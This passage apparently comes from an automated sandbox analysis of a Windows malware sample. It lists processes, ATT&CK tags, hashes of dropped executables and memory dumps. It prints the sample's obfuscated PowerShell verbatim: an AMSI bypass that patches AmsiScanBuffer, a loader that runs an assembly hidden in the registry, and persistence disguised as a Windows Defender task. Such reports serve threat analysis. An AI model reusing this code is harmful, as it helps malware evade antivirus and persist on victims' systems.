  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3948
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4968 -ip 4968
1⤵
PID:4104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1272 -ip 1272
1⤵
PID:2632

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:AmAywVlidLKx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GyUdcClTReSWap,[Parameter(Position=1)][Type]$oLxupcUQQJ)$zXuRhcWFSij=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+'y'+'p'+'e','Cl'+[Char](97)+'s'+[Char](115)+''+','+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+'s'+'i'+''+[Char](67)+''+'l'+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+'t'+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$zXuRhcWFSij.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+'c'+[Char](105)+'al'+[Char](78)+'am'+'e'+''+[Char](44)+''+[Char](72)+''+'i'+'deB'+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$GyUdcClTReSWap).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+'i'+'m'+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');$zXuRhcWFSij.DefineMethod(''+'I'+'nv'+[Char](111)+'k'+'e'+'','P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+'H'+''+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+','+'N'+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+'t,'+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$oLxupcUQQJ,$GyUdcClTReSWap).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e,'+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $zXuRhcWFSij.CreateType();}$xsgQkGulVdTeF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+'e'+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType('Mi'+'c'+''+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+[Char](120)+''+'s'+''+[Char](103)+''+[Char](81)+'k'+'G'+'u'+[Char](108)+'Vd'+[Char](84)+''+[Char](101)+''+'F'+'');$ckzsbnVYeSxENQ=$xsgQkGulVdTeF.GetMethod(''+[Char](99)+''+'k'+''+[Char](122)+'s'+'b'+''+'n'+''+[Char](86)+''+[Char](89)+''+[Char](101)+''+[Char](83)+''+[Char](120)+''+[Char](69)+''+[Char](78)+''+[Char](81)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jPduyGJdkfXzDsHdBRy=AmAywVlidLKx @([String])([IntPtr]);$UcalolvktisLlIdoBXjBxC=AmAywVlidLKx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FuhJxYxHeIf=$xsgQkGulVdTeF.GetMethod('G'+'e'+'t'+[Char](77)+'o'+'d'+''+'u'+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')));$JsDvlfVqDVnMfF=$ckzsbnVYeSxENQ.Invoke($Null,@([Object]$FuhJxYxHeIf,[Object]('L'+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+'A')));$CYyJDHNpjLerVMazZ=$ckzsbnVYeSxENQ.Invoke($Null,@([Object]$FuhJxYxHeIf,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+'e'+[Char](99)+'t')));$JpjbWgT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JsDvlfVqDVnMfF,$jPduyGJdkfXzDsHdBRy).Invoke(''+[Char](97)+''+[Char](109)+'si'+'.'+'d'+[Char](108)+''+[Char](108)+'');$rzAqHIuXrMfHMNYHb=$ckzsbnVYeSxENQ.Invoke($Null,@([Object]$JpjbWgT,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+'Bu'+[Char](102)+''+[Char](102)+'er')));$IojEBAyGZH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CYyJDHNpjLerVMazZ,$UcalolvktisLlIdoBXjBxC).Invoke($rzAqHIuXrMfHMNYHb,[uint32]8,4,[ref]$IojEBAyGZH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$rzAqHIuXrMfHMNYHb,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CYyJDHNpjLerVMazZ,$UcalolvktisLlIdoBXjBxC).Invoke($rzAqHIuXrMfHMNYHb,[uint32]8,0x20,[ref]$IojEBAyGZH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fQqUDSJxYNZi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qjunlHQHJGJAVV,[Parameter(Position=1)][Type]$nBngZlUsIJ)$nmMVtoccJkA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+'l'+''+[Char](101)+''+'c'+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'ga'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+'mo'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+'l'+''+'e'+''+'d'+''+','+'A'+'n'+'s'+[Char](105)+'C'+[Char](108)+''+'a'+''+'s'+'s'+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$nmMVtoccJkA.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+'c'+'i'+'al'+[Char](78)+''+[Char](97)+'me,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$qjunlHQHJGJAVV).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');$nmMVtoccJkA.DefineMethod(''+'I'+'nv'+'o'+''+'k'+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'S'+'l'+''+[Char](111)+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$nBngZlUsIJ,$qjunlHQHJGJAVV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+'e'+''+','+''+'M'+''+[Char](97)+'n'+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $nmMVtoccJkA.CreateType();}$wtBjosejGCZyZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+''+'e'+''+'m'+'.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+'in3'+[Char](50)+'.'+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](119)+'tB'+[Char](106)+''+[Char](111)+'s'+'e'+'j'+'G'+''+[Char](67)+'Z'+[Char](121)+''+[Char](90)+'');$eVTmeWsNTgKGMu=$wtBjosejGCZyZ.GetMethod(''+[Char](101)+''+'V'+''+[Char](84)+'me'+[Char](87)+''+[Char](115)+''+[Char](78)+''+[Char](84)+''+'g'+''+[Char](75)+''+'G'+''+[Char](77)+''+'u'+'',[Reflection.BindingFlags]''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hfsGzDPQYQVctuFhNdN=fQqUDSJxYNZi @([String])([IntPtr]);$zHbdqiHDPFNQPNnClMeWzR=fQqUDSJxYNZi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DaIfiCZtcVB=$wtBjosejGCZyZ.GetMethod('G'+[Char](101)+''+[Char](116)+'Mod'+[Char](117)+'l'+[Char](101)+''+[Char](72)+'a'+'n'+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('ke'+'r'+'n'+'e'+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$kOoleXIUTiTMnq=$eVTmeWsNTgKGMu.Invoke($Null,@([Object]$DaIfiCZtcVB,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+'y'+'A')));$XuhCLXREMVsqGiMWT=$eVTmeWsNTgKGMu.Invoke($Null,@([Object]$DaIfiCZtcVB,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+'t'+[Char](101)+''+[Char](99)+''+'t'+'')));$EkcBEtW=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kOoleXIUTiTMnq,$hfsGzDPQYQVctuFhNdN).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+'.'+'d'+'l'+'l'+'');$rgSPhWBpquTYYrQJV=$eVTmeWsNTgKGMu.Invoke($Null,@([Object]$EkcBEtW,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'Sc'+'a'+'n'+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+[Char](114)+'')));$LBLcsLKvel=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XuhCLXREMVsqGiMWT,$zHbdqiHDPFNQPNnClMeWzR).Invoke($rgSPhWBpquTYYrQJV,[uint32]8,4,[ref]$LBLcsLKvel);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rgSPhWBpquTYYrQJV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XuhCLXREMVsqGiMWT,$zHbdqiHDPFNQPNnClMeWzR).Invoke($rgSPhWBpquTYYrQJV,[uint32]8,0x20,[ref]$LBLcsLKvel);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+'E').GetValue('d'+'i'+'al'+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+'age'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2820

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{bd162b2f-ccea-4859-858c-65745e0634fc}
1⤵
PID:5084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
MD5 124edf3ad57549a6e475f3bc4e6cfe51
SHA1 80f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA512 b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
SSDEEP 1536:tB+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVh4j:r+z30fztAHktOdBrNKe8flJn1YorV3Cd
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 cb411544d364c6466edc9c9f13c8e96423591381b8c701a872db2ebd4a18207b
MD5 ccf86ade18ef1bc26ebac9bf804b2793
SHA1 ab33b2113c1e607e8c6b876cc81718a694cd7b70
SHA512 375aa3d31e3292c9f9bc75634ea7856ca16d90f6ad3d7e30082795b6a3c041f6ab2cb72db4b8021443e28bac1a583d29a036dbc28deb36134a518e73bdfc8cdd
SSDEEP 384:9sf++a/9i+3xLD3H2pYHMuOGcoFnTVK6seY+p7/PNA3So3A4D3l7FazCvrQ0gcZr:if2DxPwWwPoFnTVNxtYSih7IzCnnLR
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
MD5 c697637a9b17f577fccd7e83a5495810
SHA1 04e6054584786b88994b0e0a871562227fe2a435
SHA512 66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
MD5 SHA1 SHA512

Submit Download

SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

Submit Download

new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

Submit Download

new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

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memory/608-229-0x00007FFBBAEF0000-0x00007FFBBAF00000-memory.dmp

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memory/656-230-0x00007FFBBAEF0000-0x00007FFBBAF00000-memory.dmp

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memory/1868-194-0x0000025C25460000-0x0000025C2546A000-memory.dmp

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memory/1868-192-0x0000025C23DF0000-0x0000025C23DFA000-memory.dmp

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memory/1868-189-0x00007FFBDB770000-0x00007FFBDC231000-memory.dmp

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memory/1868-199-0x00007FFBDB770000-0x00007FFBDC231000-memory.dmp

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memory/1868-198-0x0000025C254B0000-0x0000025C254BA000-memory.dmp

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memory/1868-197-0x0000025C254A0000-0x0000025C254A6000-memory.dmp

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memory/1868-196-0x0000025C25470000-0x0000025C25478000-memory.dmp

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memory/1868-195-0x0000025C254C0000-0x0000025C254DA000-memory.dmp

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memory/1868-191-0x0000025C25440000-0x0000025C2545C000-memory.dmp

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memory/1868-193-0x0000025C25480000-0x0000025C2549C000-memory.dmp

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memory/1868-187-0x0000025C23DC0000-0x0000025C23DE2000-memory.dmp

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memory/2820-217-0x00007FFBDBED0000-0x00007FFBDC991000-memory.dmp

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memory/2820-218-0x00007FFBFAE70000-0x00007FFBFB065000-memory.dmp

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memory/2820-219-0x00007FFBFAD70000-0x00007FFBFAE2E000-memory.dmp

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memory/2820-225-0x00007FFBFAD70000-0x00007FFBFAE2E000-memory.dmp

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memory/2820-226-0x00007FFBFAE70000-0x00007FFBFB065000-memory.dmp

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memory/2820-227-0x00007FFBDBED0000-0x00007FFBDC991000-memory.dmp

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memory/3368-186-0x000000000216C000-0x00000000022A9000-memory.dmp

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memory/3368-178-0x000000000216C000-0x00000000022A9000-memory.dmp

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memory/3368-177-0x00000000022D5000-0x00000000027D9000-memory.dmp

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memory/3368-185-0x00000000022D5000-0x00000000027D9000-memory.dmp

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memory/3948-214-0x00000204479B9000-0x00000204479BF000-memory.dmp

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memory/3948-213-0x00007FFBDB770000-0x00007FFBDC231000-memory.dmp

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memory/3948-204-0x00007FFBDB770000-0x00007FFBDC231000-memory.dmp

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memory/4204-139-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4204-133-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4488-184-0x0000000007240000-0x000000000776C000-memory.dmp

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memory/4488-183-0x0000000006B40000-0x0000000006D02000-memory.dmp

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memory/4488-168-0x0000000000620000-0x0000000000640000-memory.dmp

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memory/4488-173-0x0000000005370000-0x0000000005988000-memory.dmp

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memory/4488-174-0x0000000004D50000-0x0000000004D62000-memory.dmp

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memory/4488-175-0x0000000004E80000-0x0000000004F8A000-memory.dmp

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memory/4488-176-0x0000000004DB0000-0x0000000004DEC000-memory.dmp

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memory/4488-182-0x00000000066F0000-0x0000000006740000-memory.dmp

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memory/4488-179-0x00000000050E0000-0x0000000005156000-memory.dmp

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memory/4488-180-0x0000000005200000-0x0000000005292000-memory.dmp

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memory/4488-181-0x00000000052C0000-0x00000000052DE000-memory.dmp

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memory/5020-151-0x0000000007190000-0x00000000071AA000-memory.dmp

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memory/5020-145-0x0000000005830000-0x0000000005896000-memory.dmp

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memory/5020-152-0x0000000007210000-0x000000000721A000-memory.dmp

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memory/5020-153-0x0000000007450000-0x00000000074E6000-memory.dmp

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memory/5020-149-0x0000000006FE0000-0x0000000006FFE000-memory.dmp

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memory/5020-148-0x0000000074CC0000-0x0000000074D0C000-memory.dmp

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memory/5020-147-0x0000000007000000-0x0000000007032000-memory.dmp

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memory/5020-154-0x00000000073C0000-0x00000000073CE000-memory.dmp

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memory/5020-155-0x0000000007410000-0x000000000742A000-memory.dmp

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memory/5020-146-0x0000000005E80000-0x0000000005E9E000-memory.dmp

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memory/5020-156-0x0000000007400000-0x0000000007408000-memory.dmp

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memory/5020-150-0x00000000077E0000-0x0000000007E5A000-memory.dmp

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memory/5020-144-0x00000000057C0000-0x0000000005826000-memory.dmp

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memory/5020-143-0x00000000055F0000-0x0000000005612000-memory.dmp

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memory/5020-158-0x0000000008410000-0x00000000089B4000-memory.dmp

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memory/5020-157-0x0000000007520000-0x0000000007542000-memory.dmp

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memory/5020-141-0x0000000004910000-0x0000000004946000-memory.dmp

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memory/5020-142-0x0000000004F80000-0x00000000055A8000-memory.dmp

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memory/5084-224-0x00007FFBFAE70000-0x00007FFBFB065000-memory.dmp

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memory/5084-220-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/5084-228-0x00007FFBFAD70000-0x00007FFBFAE2E000-memory.dmp

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memory/5084-223-0x0000000140000000-0x0000000140029000-memory.dmp

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